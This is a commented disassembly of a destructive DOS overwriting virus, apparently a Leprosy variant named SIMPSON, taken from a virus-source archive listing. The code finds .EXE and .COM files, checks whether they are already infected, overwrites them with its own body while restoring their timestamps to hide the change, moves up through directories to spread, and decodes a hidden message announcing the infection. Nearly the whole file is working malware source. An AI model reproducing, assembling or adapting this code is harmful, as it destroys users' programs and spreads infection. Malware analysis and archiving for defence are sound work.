home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SIMPSON.ASM < prev    next >
Assembly Source File  |  1992-12-04  |  8KB  |  382 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    SIMPSON                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Dec-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    2Eh
  14. data_10e    equ    39Ah            ;*
  15. data_11e    equ    39Ch            ;*
  16. data_12e    equ    39Eh            ;*
  17. data_13e    equ    3A0h            ;*
  18. data_14e    equ    5845h            ;*
  19.  
  20. seg_a        segment    byte public
  21.         assume    cs:seg_a, ds:seg_a
  22.  
  23.  
  24.         org    100h
  25.  
  26. simpson        proc    far
  27.  
  28. start:
  29.         push    si
  30.         xor    si,si            ; Zero register
  31. loc_1:
  32.         call    sub_2
  33.         or    ax,ax            ; Zero ?
  34.         jz    loc_2            ; Jump if zero
  35.         call    sub_1
  36.         inc    si
  37.         inc    data_8
  38.         jmp    short loc_3
  39. loc_2:
  40.         mov    dx,38Bh
  41.         mov    ah,3Bh            ; ';'
  42.         int    21h            ; DOS Services  ah=function 3Bh
  43.                         ;  set current dir, path @ ds:dx
  44.         inc    si
  45. loc_3:
  46.         cmp    si,data_6
  47.         jl    loc_1            ; Jump if <
  48.         cmp    byte ptr data_8,0
  49.         je    loc_4            ; Jump if equal
  50.         mov    ax,2BAh
  51.         push    ax
  52.         call    sub_5
  53.         pop    cx
  54.         jmp    short loc_8
  55. loc_4:
  56.         cmp    byte ptr data_7,6
  57.         jbe    loc_7            ; Jump if below or =
  58.         xor    si,si            ; Zero register
  59.         jmp    short loc_6
  60. loc_5:
  61.         mov    bx,si
  62.         shl    bx,1            ; Shift w/zeros fill
  63.         push    data_2[bx]
  64.         call    sub_5
  65.         pop    cx
  66.         inc    si
  67. loc_6:
  68.         cmp    si,3
  69.         jl    loc_5            ; Jump if <
  70.         jmp    short loc_8
  71. loc_7:
  72.         mov    ax,2BAh
  73.         push    ax
  74.         call    sub_5
  75.         pop    cx
  76. loc_8:
  77.         jmp    short $+2        ; delay for I/O
  78.         pop    si
  79.         retn
  80.  
  81. simpson        endp
  82.  
  83. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  84. ;                   SUBROUTINE
  85. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  86.  
  87. sub_1        proc    near
  88.         mov    dx,data_3
  89.         add    dx,1Eh
  90.         xor    cx,cx            ; Zero register
  91.         mov    al,1
  92.         mov    ah,43h            ; 'C'
  93.         int    21h            ; DOS Services  ah=function 43h
  94.                         ;  set attrb cx, filename @ds:dx
  95.         mov    ax,data_3
  96.         add    ax,1Eh
  97.         push    ax
  98.         call    sub_8
  99.         pop    cx
  100.         mov    bx,ds:data_10e
  101.         mov    cx,data_5
  102.         mov    dx,data_4
  103.         mov    ah,40h            ; '@'
  104.         int    21h            ; DOS Services  ah=function 40h
  105.                         ;  write file  bx=file handle
  106.                         ;   cx=bytes from ds:dx buffer
  107.         call    sub_4
  108.         call    sub_9
  109.         jmp    short $+2        ; delay for I/O
  110.         retn
  111. sub_1        endp
  112.  
  113.  
  114. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  115. ;                   SUBROUTINE
  116. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  117.  
  118. sub_2        proc    near
  119.         mov    ax,38Eh
  120.         push    ax
  121.         call    sub_6
  122.         pop    cx
  123.         cmp    ax,12h
  124.         je    loc_12            ; Jump if equal
  125.         call    sub_3
  126.         or    ax,ax            ; Zero ?
  127.         jz    loc_9            ; Jump if zero
  128.         mov    ax,1
  129.         jmp    short loc_ret_17
  130.         jmp    short loc_12
  131. loc_9:
  132.         jmp    short loc_11
  133. loc_10:
  134.         call    sub_3
  135.         or    ax,ax            ; Zero ?
  136.         jz    loc_11            ; Jump if zero
  137.         mov    ax,1
  138.         jmp    short loc_ret_17
  139. loc_11:
  140.         call    sub_7
  141.         cmp    ax,12h
  142.         jne    loc_10            ; Jump if not equal
  143. loc_12:
  144.         mov    ax,394h
  145.         push    ax
  146.         call    sub_6
  147.         pop    cx
  148.         cmp    ax,12h
  149.         je    loc_16            ; Jump if equal
  150.         call    sub_3
  151.         or    ax,ax            ; Zero ?
  152.         jz    loc_13            ; Jump if zero
  153.         mov    ax,1
  154.         jmp    short loc_ret_17
  155.         jmp    short loc_16
  156. loc_13:
  157.         jmp    short loc_15
  158. loc_14:
  159.         call    sub_3
  160.         or    ax,ax            ; Zero ?
  161.         jz    loc_15            ; Jump if zero
  162.         mov    ax,1
  163.         jmp    short loc_ret_17
  164. loc_15:
  165.         call    sub_7
  166.         cmp    ax,12h
  167.         jne    loc_14            ; Jump if not equal
  168. loc_16:
  169.         xor    ax,ax            ; Zero register
  170.         jmp    short loc_ret_17
  171.  
  172. loc_ret_17:
  173.         retn
  174. sub_2        endp
  175.  
  176.  
  177. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  178. ;                   SUBROUTINE
  179. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  180.  
  181. sub_3        proc    near
  182.         push    si
  183.         mov    bx,data_3
  184.         mov    ax,[bx+18h]
  185.         mov    ds:data_11e,ax
  186.         mov    bx,data_3
  187.         mov    ax,[bx+16h]
  188.         mov    ds:data_12e,ax
  189.         mov    ax,data_3
  190.         add    ax,1Eh
  191.         push    ax
  192.         call    sub_8
  193.         pop    cx
  194.         mov    bx,ds:data_10e
  195.         mov    cx,14h
  196.         mov    dx,data_13e
  197.         mov    ah,3Fh            ; '?'
  198.         int    21h            ; DOS Services  ah=function 3Fh
  199.                         ;  read file, bx=file handle
  200.                         ;   cx=bytes to ds:dx buffer
  201.         call    sub_4
  202.         call    sub_9
  203.         xor    si,si            ; Zero register
  204.         jmp    short loc_20
  205. loc_18:
  206.         mov    al,ds:data_13e[si]
  207.         mov    bx,data_4
  208.         cmp    al,[bx+si]
  209.         je    loc_19            ; Jump if equal
  210.         mov    ax,1
  211.         jmp    short loc_21
  212. loc_19:
  213.         inc    si
  214. loc_20:
  215.         cmp    si,14h
  216.         jl    loc_18            ; Jump if <
  217.         inc    data_7
  218.         xor    ax,ax            ; Zero register
  219.         jmp    short loc_21
  220. loc_21:
  221.         pop    si
  222.         retn
  223. sub_3        endp
  224.  
  225.  
  226. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  227. ;                   SUBROUTINE
  228. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  229.  
  230. sub_4        proc    near
  231.         mov    al,1
  232.         mov    bx,ds:data_10e
  233.         mov    cx,ds:data_12e
  234.         mov    dx,ds:data_11e
  235.         mov    ah,57h            ; 'W'
  236.         int    21h            ; DOS Services  ah=function 57h
  237.                         ;  set file date+time, bx=handle
  238.                         ;   cx=time, dx=time
  239.         jmp    short $+2        ; delay for I/O
  240.         retn
  241. sub_4        endp
  242.  
  243.  
  244. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  245. ;                   SUBROUTINE
  246. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  247.  
  248. sub_5        proc    near
  249.         push    bp
  250.         mov    bp,sp
  251.         push    si
  252.         mov    si,[bp+4]
  253.         jmp    short loc_24
  254. loc_23:
  255.         sub    byte ptr [si],0Ah
  256.         inc    si
  257. loc_24:
  258.         cmp    byte ptr [si],0
  259.         jne    loc_23            ; Jump if not equal
  260.         mov    dx,[bp+4]
  261.         mov    ah,9
  262.         int    21h            ; DOS Services  ah=function 09h
  263.                         ;  display char string at ds:dx
  264.         jmp    short $+2        ; delay for I/O
  265.         pop    si
  266.         pop    bp
  267.         retn
  268. sub_5        endp
  269.  
  270.  
  271. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  272. ;                   SUBROUTINE
  273. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  274.  
  275. sub_6        proc    near
  276.         push    bp
  277.         mov    bp,sp
  278.         mov    dx,[bp+4]
  279.         mov    cx,0FFh
  280.         mov    ah,4Eh            ; 'N'
  281.         int    21h            ; DOS Services  ah=function 4Eh
  282.                         ;  find 1st filenam match @ds:dx
  283.         jmp    short $+2        ; delay for I/O
  284.         pop    bp
  285.         retn
  286. sub_6        endp
  287.  
  288.  
  289. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  290. ;                   SUBROUTINE
  291. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  292.  
  293. sub_7        proc    near
  294.         mov    ah,4Fh            ; 'O'
  295.         int    21h            ; DOS Services  ah=function 4Fh
  296.                         ;  find next filename match
  297.         jmp    short $+2        ; delay for I/O
  298.         retn
  299. sub_7        endp
  300.  
  301.  
  302. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  303. ;                   SUBROUTINE
  304. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  305.  
  306. sub_8        proc    near
  307.         push    bp
  308.         mov    bp,sp
  309.         mov    dx,[bp+4]
  310.         mov    al,2
  311.         mov    ah,3Dh            ; '='
  312.         int    21h            ; DOS Services  ah=function 3Dh
  313.                         ;  open file, al=mode,name@ds:dx
  314.         mov    ds:data_10e,ax
  315.         jmp    short $+2        ; delay for I/O
  316.         pop    bp
  317.         retn
  318. sub_8        endp
  319.  
  320.  
  321. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  322. ;                   SUBROUTINE
  323. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  324.  
  325. sub_9        proc    near
  326.         mov    bx,ds:data_10e
  327.         mov    ah,3Eh            ; '>'
  328.         int    21h            ; DOS Services  ah=function 3Eh
  329.                         ;  close file, bx=file handle
  330.         jmp    short $+2        ; delay for I/O
  331.         retn
  332. sub_9        endp
  333.  
  334.         pop    ss
  335.         adc    al,5Ah            ; 'Z'
  336.         jl    $+7Bh            ; Jump if <
  337.         jno    $+7Eh            ; Jump if not overflw
  338.         db    'kw*~yy*lsq*~y*ps~*sx*wowy|'
  339.         db     83h, 2Eh, 00h
  340. data_2        dw    2F1h            ; Data table (indexed access)
  341.         db     2Ah, 03h, 63h, 03h
  342. data_3        dw    80h
  343.         db     58h, 58h, 00h
  344. data_4        dw    100h
  345. data_5        dw    29Ah
  346. data_6        dw    4
  347. data_7        db    0
  348. data_8        db    0
  349.         db     17h, 14h, 13h
  350.         db    'XOa]*PVK]R++**cy'
  351.         db     7Fh, 7Ch, 2Ah, 7Dh, 83h
  352.         db    '}~ow*rk}*loox*sxpom~on*'
  353.         db    81h
  354.         db    's~r*~ro.'
  355.         db     00h, 17h, 14h, 13h, 73h, 78h
  356.         db     6Dh, 7Fh
  357.         db    '|klvo*nomk'
  358.         db     83h, 2Ah, 79h, 70h, 2Ah, 56h
  359.         db    'OZ\Y]c*;8::6*k*'
  360.         db     80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah
  361.         db     73h, 78h, 80h, 6Fh, 78h, 7Eh
  362.         db     6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh
  363.         db     00h, 17h, 14h, 13h
  364.         db    'ZMW<*sx*T'
  365.         db    7Fh
  366.         db    'xo*yp*;CC:8**Qyyn*v'
  367.         db     7Fh, 6Dh, 75h, 2Bh, 17h, 14h
  368.         db    2Eh
  369.         db    0
  370. data_9        db    2Eh
  371.         db    2Eh
  372.         db     00h, 2Ah, 2Eh, 45h
  373.         db     58h, 45h, 00h
  374.         db     2Ah, 2Eh, 43h, 4Fh, 4Dh
  375.         db    0
  376.  
  377. seg_a        ends
  378.  
  379.  
  380.  
  381.         end    start
  382.